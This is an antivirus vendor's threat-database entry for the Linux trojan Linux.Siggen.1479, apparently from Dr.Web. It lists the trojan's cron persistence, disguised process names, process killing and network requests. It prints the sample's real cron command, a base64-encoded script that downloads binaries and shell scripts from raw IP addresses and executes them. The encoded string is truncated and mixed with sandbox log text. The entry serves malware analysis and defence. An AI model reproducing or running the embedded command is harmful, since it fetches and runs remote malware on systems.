Mi biblioteca
Mi biblioteca

+ Añadir a la biblioteca

Soporte
Soporte 24 horas | Normas de contactar

Sus solicitudes

Perfil

Linux.Siggen.1479

Added to the Dr.Web virus database: 2019-03-03

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • ixdv
  • wyox
  • fjcb
Launches processes:
  • sh -c echo '* * * * * echo -n \"KCAgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuICBwa2lsbCAtZiB3YXRjaGJvZyA7IG5vaHVwIHB5dGhvbiAtYyAnaW1wb3J0IG9zOyBob21lZGlyID1vcy5wYXRoLmV4cGFuZHVzZXIoIn4vZGxzcyIpOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwgaG9tZWRpcik7IG9zLnN5c3RlbSgiY2htb2QgNzc3NyAkSE9NRS9kbHNzIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggJEhPTUUvZGxzcyIpOyBvcy5zeXN0ZW0oIiRIT01FL2Rsc3MiKScgMj4mMSA7IHx8IG5vaHVwIHB5dGhvbjMgLWMgJ2ltcG9ydCB1cmxsaWIucmVxdWVzdDsgdXJsbGliLnJlcXVlc3QudXJscmV0cmlldmUoImh0dHA6Ly8xNjUuMjI3LjE0MC4xODQvdG1wL29mZCIsICIvdG1wL3Nkb3YiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9zZG92Iik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3RtcC9zZG92Iik7b3Muc3lzdGVtKCIvdG1wL3Nkb3YiKScgMj4mMSA7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qci5zaHxzaCA+L2Rldi9udWxsIDI+JjEgOyB8fCBjdXJsIGh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2pyLmp[rkmodule] [<SAMPLE>][PPID:0x2c2] [<SAMPLE>][PID:0x2c7] do_filp_open. Filename: \"/bin/sh\
  • crontab -
  • sh -c /root/ixdv wyox
  • /root/ixdv wyox
  • sh -c /root/fjcb fjcb
  • /root/fjcb fjcb
Kills system processes:
  • sshd
Kills the following processes:
  • atd
  • bash
  • (sd-pam)
Performs operations with the file system:
Modifies file access rights:
  • /root/ixdv
  • /var/spool/cron/crontabs/tmp.Qy5y6z
  • /root/fjcb
Creates or modifies files:
  • /root/ixdv
  • /var/spool/cron/crontabs/tmp.Qy5y6z
  • /root/p
  • /root/fjcb
Deletes files:
  • /root/ixdv
  • /root/p
Network activity:
HTTP GET requests:
  • 18#.###.169.6/jp/jpp
  • 18#.###.169.6/jp/nvn

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number